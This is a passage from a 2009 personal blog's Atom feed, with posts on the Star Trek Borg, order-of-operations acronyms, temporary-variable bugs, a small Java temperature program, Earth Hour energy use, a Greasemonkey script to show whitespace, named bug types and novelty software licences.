1.5pt; background: white none repeat scroll 0% 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;   &lt;p class="MsoNormal" style="text-align: right;" align="right"&gt;&lt;span style=";font-family:Tahoma;font-size:10;"  &gt;20&lt;/span&gt;&lt;span style=";font-family:Tahoma;font-size:10;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 1.5pt; background: white none repeat scroll 0% 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;   &lt;p class="MsoNormal" style="text-align: right;" align="right"&gt;&lt;span style=";font-family:Tahoma;font-size:10;"  &gt;0&lt;/span&gt;&lt;span style=";font-family:Tahoma;font-size:10;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="padding: 1.5pt; background: rgb(192, 228, 240) none repeat scroll 0% 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="background: blue none repeat scroll 0% 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-family:Tahoma;font-size:10;"  &gt;  &lt;/span&gt;&lt;span style=";font-family:Tahoma;font-size:10;"  &gt; Dead Target &lt;/span&gt;&lt;span style=";font-family:Tahoma;font-size:6;"  &gt;0.1&lt;/span&gt;&lt;span style=";font-family:Tahoma;font-size:10;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 1.5pt; background: white none repeat scroll 0% 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;   &lt;p class="MsoNormal" style="text-align: right;" align="right"&gt;&lt;span style=";font-family:Tahoma;font-size:10;"  &gt;0&lt;/span&gt;&lt;span style=";font-family:Tahoma;font-size:10;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 1.5pt; background: white none repeat scroll 0% 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;   &lt;p class="MsoNormal" style="text-align: right;" align="right"&gt;&lt;span style=";font-family:Tahoma;font-size:10;"  &gt;0&lt;/span&gt;&lt;span style=";font-family:Tahoma;font-size:10;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 1.5pt; background: white none repeat scroll 0% 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;   &lt;p class="MsoNormal" style="text-align: right;" align="right"&gt;&lt;span style=";font-family:Tahoma;font-size:10;"  &gt;20&lt;/span&gt;&lt;span style=";font-family:Tahoma;font-size:10;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-8510059566606103028?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/8510059566606103028/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=8510059566606103028' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8510059566606103028'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8510059566606103028'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/04/robot-battle-dead-target-robot.html' title='Robot Battle – the Dead Target Robot'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-960173468649906260</id><published>2009-04-12T10:33:00.000-07:00</published><updated>2009-04-12T10:34:47.142-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Still sane'/><title type='text'>Borg - inspired from communists ?</title><content type='html'>Individuality is defined as the state or quality of being an individual; a person separate from other persons and possessing his or her own needs, goals, and desires. Hence, a persons needs, goals and desires make up his or her individuality.&lt;br /&gt;&lt;br /&gt;Individualists consider one’s goals and desire more important than any society, group or institution. While collectivism, stresses that communal, community, group, societal, or national goals should take priority over individual goals. A utopia in which the needs, goals and desires of each individual are same or sacrificed for the good of the society will destroy the concept of an individual. Similarly an interconnected collective like the Borg have no individuality.&lt;br /&gt;&lt;br /&gt;The Borg is an extreme case of collectivism. Such an extreme type of Collectivism can be considered a fictional form of communism (which prefers common ownership to private ownership). So was the Borg inspired from communists? Does it play on the American fears of communism prevalent at the time Star Trek was written? The assimilation of cultures and beings can be compared to the growth of communism assimilating countries.&lt;br /&gt;&lt;br /&gt;The Borg also resemble Ants in many ways:&lt;br /&gt;Ant colonies also have some fertile males called "&lt;em&gt;drones&lt;/em&gt;" and one or more fertile females called "&lt;em&gt;queens&lt;/em&gt;".&lt;br /&gt;The colonies are sometimes described as super organisms because ants appear to operate as a &lt;em&gt;unified entity&lt;/em&gt;, collectively working together to support the colony&lt;br /&gt;&lt;br /&gt;So is the Borg inspired from ants or communists or a combination of both?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-960173468649906260?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/960173468649906260/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=960173468649906260' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/960173468649906260'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/960173468649906260'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/04/borg-inspired-from-communists.html' title='Borg - inspired from communists ?'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-8207383287412404519</id><published>2009-04-12T08:43:00.000-07:00</published><updated>2009-04-12T08:48:36.697-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Still sane'/><title type='text'>Infix to postfix or prefix?</title><content type='html'>The order of operations or precedence rule is used to determine the order in which operations need to be performed. The order of operations is just a protocol used for easier and common understanding of expressions and is not based on any mathematical or logical theorem. The history of the order of precedence is not very clear and its origins cannot be attributed to any single source. The originator of this rule was not brilliant enough to suggest the post or pre fix notation :)&lt;br /&gt;&lt;br /&gt;Various acronyms such as (all of which represent the same order of precedence):&lt;br /&gt;&lt;strong&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;PEMDAS&lt;/span&gt;&lt;/strong&gt; -  Parentheses Exponents Multiplication Division Addition &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_1"&gt;Subtraction Also&lt;/span&gt; remembered using the sentence - "Please Excuse My Dear Aunt Sally"&lt;br /&gt;&lt;strong&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;BEDMAS&lt;/span&gt;&lt;/strong&gt; -  Brackets Exponents Division Multiplication Addition Subtraction&lt;br /&gt;&lt;strong&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;BIDMAS&lt;/span&gt;&lt;/strong&gt; -  Brackets Indices Division Multiplication Addition Subtraction&lt;br /&gt;&lt;strong&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;BIMDAS&lt;/span&gt;&lt;/strong&gt; -  Brackets Indices Multiplication Division Addition Subtraction&lt;br /&gt;&lt;strong&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;BIODMAS&lt;/span&gt;&lt;/strong&gt;-  Brackets Indices Of Division Multiplication Addition Subtraction&lt;br /&gt;&lt;strong&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;BODMAS&lt;/span&gt;&lt;/strong&gt; -  Brackets Of Division Multiplication Addition Subtraction&lt;br /&gt;&lt;strong&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;BOMDAS&lt;/span&gt;&lt;/strong&gt; -  Brackets Of Multiplication Division Addition Subtraction&lt;br /&gt;&lt;strong&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;BPODMAS&lt;/span&gt;&lt;/strong&gt;-  Brackets Power Of Division Multiplication Addition Subtraction&lt;br /&gt;&lt;br /&gt;The Microsoft calculator program uses the order of operations in the scientific mode but ignored it in the standard mode. The Google calculator adheres to the order of preference strictly as can be see in the result of &lt;a href="http://www.google.com/search?hl=en&amp;amp;rlz=1T4ADBF_enIN271IN273&amp;amp;q=6*3%2F4%5E2*3%2B2*%283%2F6-4%29*3%5E%282-4%29"&gt;6*3/4^2*3+2*(3/6-4)*3^(2-4)&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Humans require the order of operations as we use conventional infix notation. However, the computers use a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;postfix&lt;/span&gt; notation like &lt;a href="http://en.wikipedia.org/wiki/Reverse_Polish_notation"&gt;Reverse Polish notation&lt;/a&gt; , which obviates the need for the order of operations. Few computer languages use a prefix notation, which does not require the order of precedence as well. So should humans try to move from the infix to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;postfix&lt;/span&gt; or prefix notation?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-8207383287412404519?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/8207383287412404519/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=8207383287412404519' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8207383287412404519'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8207383287412404519'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/04/infix-to-postfix-or-prefix.html' title='Infix to postfix or prefix?'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-9194299536335359045</id><published>2009-04-12T05:14:00.000-07:00</published><updated>2009-04-12T06:58:19.556-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tech'/><category scheme='http://www.blogger.com/atom/ns#' term='software'/><title type='text'>Temporary variables – 5 common mistakes</title><content type='html'>Temporary variables are a type of variable which are used to store a value obtained from a particular computation or data source, which will be used in a later stage of the program. Although temporary variables serve very useful purposes, they can be the cause of major software bugs that seem to occur inexplicably. The common coding or programing mistakes associated with temp variables:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;u&gt;1. Loss of precision:&lt;/u&gt;&lt;/strong&gt; The use of a lesser &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_0"&gt;precision&lt;/span&gt; variable for a temp variable can lead to loss of &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_1"&gt;precision&lt;/span&gt; which leads to bugs.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ex: Using a Integer variable to store the result of a calculation that includes a higher &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_2"&gt;precision&lt;/span&gt; like float or double. Even in &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;langauages&lt;/span&gt; like java by explicitly typecasting(coders mistake).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;u&gt;2. Value out of bound:&lt;/u&gt;&lt;/strong&gt; Similar to the first mistake but occurs in arrays and strings. Can mainly lead to rendering mistakes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ex:While using the last few characters of a string or last few values of an array.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;u&gt;3. Multiple inputs:&lt;/u&gt;&lt;/strong&gt; The temporary variable value can get overwritten by incorrect code even before its value is used.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Ex: Status being changed even before the code required to be executed in previous status completes execution. &lt;/p&gt;&lt;strong&gt;&lt;u&gt;4. Excessive memory usage:&lt;/u&gt;&lt;/strong&gt;The excessive use of temporary variables can have an impact on the memory usage of the program.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Ex:Using temp variables even when they are not absolutely needed. &lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;u&gt;5. No exception handling ( Like Null value, negative value) :&lt;/u&gt;&lt;/strong&gt;The temporary variables can behave in weird ways if various exceptional cases are not anticipated and guarded against.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Ex:Not guarding against storing negative values in temp variables later used as array index etc.&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-9194299536335359045?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/9194299536335359045/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=9194299536335359045' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/9194299536335359045'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/9194299536335359045'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/04/temporary-variables-5-common-mistakes.html' title='Temporary variables – 5 common mistakes'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-8406637417519759419</id><published>2009-04-03T06:54:00.000-07:00</published><updated>2009-04-03T06:56:20.643-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><title type='text'>Goldilocks - program to check the temperature</title><content type='html'>import java.io.Console;&lt;br /&gt;import java.io.IOException;&lt;br /&gt;&lt;br /&gt;class Goldilocks&lt;br /&gt;{&lt;br /&gt;     public static void main(String[] args) throws IOException&lt;br /&gt;     {&lt;br /&gt;     Console c = System.console();&lt;br /&gt;       if (c == null) {&lt;br /&gt;           System.err.println("No console.");&lt;br /&gt;           System.exit(1);&lt;br /&gt;       }&lt;br /&gt;String portemp = c.readLine("Enter the temperature of some porridge in degree centigrade: ");&lt;br /&gt;int temp =(int)Float.parseFloat(portemp);&lt;br /&gt;if (temp&gt;40)&lt;br /&gt;System.out.println("Too hot");&lt;br /&gt;else if(temp&lt;40)&lt;br /&gt;System.out.println("Too cold");&lt;br /&gt;else&lt;br /&gt;System.out.println("just right ");&lt;br /&gt;     }&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-8406637417519759419?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/8406637417519759419/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=8406637417519759419' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8406637417519759419'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8406637417519759419'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/04/goldilocks-program-to-check-temperature.html' title='Goldilocks - program to check the temperature'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-2807557789912804895</id><published>2009-03-25T06:33:00.000-07:00</published><updated>2009-03-25T06:50:04.486-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Still sane'/><category scheme='http://www.blogger.com/atom/ns#' term='nature'/><title type='text'>Earth Hour 2009 - time to vote</title><content type='html'>&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;Wikiepedia&lt;/span&gt; defines "Earth Hour" as an annual international event created by the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;WWF&lt;/span&gt; (World Wide Fund for Nature/World Wildlife Fund), held on the last Saturday of March, that asks households and businesses to turn off their non-essential lights and &lt;span style="color:#ff0000;"&gt;electrical appliances&lt;/span&gt; for one hour to raise awareness towards the need to take action on climate change.&lt;br /&gt;&lt;br /&gt;Earth hour 2009 is scheduled for 28&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;th&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;MArch&lt;/span&gt; 2009 from 8:30 PM t0 9:30 PM local time. The &lt;a href="http://www.earthhour.org/"&gt;earth hour website&lt;/a&gt; hopes to raise awareness by switching of the lights for one hour. However, earth hour might end up leading to higher energy consumption than on normal days. Since, &lt;span style="color:#ff0000;"&gt;electrical appliances&lt;/span&gt; such as &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_4"&gt;refrigerators&lt;/span&gt;, air conditioners, heaters etc. will also be switched of  for just one hour.&lt;br /&gt;&lt;br /&gt;These &lt;span style="color:#ff0000;"&gt;electrical appliances&lt;/span&gt; have to spend more energy in reheating or recooling the surface or room after the end of the hour. As reported in earth hour 2008, New Zealand's power consumption during Earth Hour was 335 megawatts, higher than the 328 megawatt average of the previous two Saturdays. Similarly in Calgary, Canada power consumption actually went up 3.6% at the hour's peak electricity demand.&lt;br /&gt;&lt;br /&gt;Is earth hour a great idea, implemented without thinking of the science behind it? Hopefully the organisers will make sure such wastage of power does not occur.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-2807557789912804895?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/2807557789912804895/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=2807557789912804895' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2807557789912804895'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2807557789912804895'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/03/earth-hour-2009-time-to-vote.html' title='Earth Hour 2009 - time to vote'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-193555339559419497</id><published>2009-03-19T08:50:00.000-07:00</published><updated>2009-03-19T08:54:34.739-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='greasemonkey'/><category scheme='http://www.blogger.com/atom/ns#' term='tech'/><title type='text'>A grease monkey script to view tab and new line characters in a browser</title><content type='html'>In certain cases its necessary to recognize tab and newline characters in a document. Microsoft word comes with an option to hide or show such punctuation marks like newline and tab characters. The short cut for enabling the display of punctuation marks is “Ctrl + *”. It can be very beneficial I differentiating space characters from tab characters.&lt;br /&gt;&lt;br /&gt;Internet explorer or any other browser such as firefox, safari, opera or chrome does not come with such a option to view newline and tab characters.  Simple one line greasemonkey script can do the job for firefox.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://webnadu.googlepages.com/display_tab_newline_character_in_bro.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 556px; height: 301px;" src="http://webnadu.googlepages.com/display_tab_newline_character_in_bro.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;As can be seen in above screen, the newline characters in wikipedia home page been replaced by “q|” and tab characters have been replaced by “--&gt;”.&lt;br /&gt;&lt;br /&gt;The code for the oneline greasemonkey script is given below:&lt;br /&gt;&lt;br /&gt;document.documentElement.innerHTML=document.documentElement.innerHTML.replace(/\t/g,"--&gt;").replace(/\n/g,"q|");&lt;br /&gt;&lt;br /&gt;Hopefully future versions of Internet browsers will provide this facility to view tab and newline characters when required.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-193555339559419497?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/193555339559419497/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=193555339559419497' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/193555339559419497'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/193555339559419497'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/03/grease-monkey-script-to-view-tab-and.html' title='A grease monkey script to view tab and new line characters in a browser'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-5174903848208959550</id><published>2009-03-18T09:06:00.000-07:00</published><updated>2009-03-18T09:09:32.620-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Still sane'/><category scheme='http://www.blogger.com/atom/ns#' term='tech'/><title type='text'>The elusive program bug</title><content type='html'>Some bugs can drive a programmer crazy by its unpredictability and complexity. These bugs have been named after famous scientists who discovered laws that seem to be false, but are actually true.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);" class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;Heisenbug&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; &lt;/span&gt;named after the famous German theoretical physicist who discovered the Heisenberg uncertainty principle. The &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;Heisenbug&lt;/span&gt; is a type of computer bug that alters its behavior when it’s tried to be analyzed.&lt;br /&gt;&lt;br /&gt;Ex: An example of &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;Heisenbug&lt;/span&gt; is a bug that behaves differently in debug mode and compile mode.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);" class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;Bohrbug&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; &lt;/span&gt;named after Neils Bohr, the Danish physicist who made fundamental contributions to understanding the atomic structure. The &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;Bohrbug&lt;/span&gt; is a type of computer bug that manifests itself consistently under well-defined set of conditions. Although a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;Bohrbug&lt;/span&gt; can be easily caught, it might be elusive when its present in rarely executed parts of the code.&lt;br /&gt;&lt;br /&gt;Ex: A rare condition that is executed only in an exceptional condition may have a very simple logical bug, which does not manifest itself until the exceptional case is encountered.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);" class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;Mandelbug&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; &lt;/span&gt;named after Benoit B. Mandelbrot, a French mathematician famous for his work in fractal geometry. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;Mandelbugs&lt;/span&gt; are computer bugs that are so complex, that they appear to be chaotic.&lt;br /&gt;&lt;br /&gt;Ex: A bug that is occurring due to some variable component like the hardware, Operating system, other applications etc, but appears to be a simple logical bug.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);" class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;Schroedinbug&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; &lt;/span&gt;named after Erwin Schrodinger an Austrian theoretical physicist famous for his contributions to Quantum physics. An &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;Schroedinbug&lt;/span&gt; manifests itself when the program is analysed to realise that the program is not working as it was designed to. However, the program might have been used effectively due to some other error committed by the user or environment.&lt;br /&gt;&lt;br /&gt;Ex: A program that’s actually designed to accept capital alphabets, which has a bug that accepts small letter alphabets. The program stops to work after the users realise that the program is not supposed to accept small letter alphabets. (Note: The program was working while accepting small letter alphabets as all the users were using small letter alphabets leading to the program to work as if all alphabets had been entered in capitals.)&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);" class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;Bosebug&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; &lt;/span&gt;named after &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;Satyendra&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;Nath&lt;/span&gt; Bose, an Indian physicist famous for his work in Bose-Einstein statistics. A &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;Bosebug&lt;/span&gt; commonly known as a statistical bug is a type of bug that manifests itself only when analyzed from a statistical point of view over a considerable duration of time.&lt;br /&gt;&lt;br /&gt;Ex: A program that’s supposed to generate random numbers may not actually be producing random numbers from a statistical point of view. Although such bugs may not affect the program in a single run, can create major problems in the long run.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-5174903848208959550?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/5174903848208959550/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=5174903848208959550' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/5174903848208959550'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/5174903848208959550'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/03/elusive-program-bug.html' title='The elusive program bug'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-5073014029212918484</id><published>2009-03-16T04:51:00.000-07:00</published><updated>2009-03-16T05:02:42.184-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Still sane'/><title type='text'>Novelty software distribution terms</title><content type='html'>Software has been distributed with different rules governing it use. The"&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;Postcardware&lt;/span&gt;", requires the user to send an actual postcard to the author of the program to use the software. The &lt;a href="http://www.bome.com/postcardware/"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;postcardware&lt;/span&gt;&lt;/a&gt; is not enforced strictly and can be considered a type of freeware. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;Emailware&lt;/span&gt; is similar to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;postcardware&lt;/span&gt; but instead of an actual physical postcard, an email is sufficient.&lt;br /&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;Beerware&lt;/span&gt; a term coined by John &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;Bristor&lt;/span&gt; in 1987 asks the users of the software to buy the author a beer if they meet some day. The license is a very simplified version of the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;GPL&lt;/span&gt;. Probably Bill Gates dint release Windows under &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;beerware&lt;/span&gt; for the fear of being killed by over dose of beer or fear of people avoid meeting him.So it did do him a lot of good by releasing it as 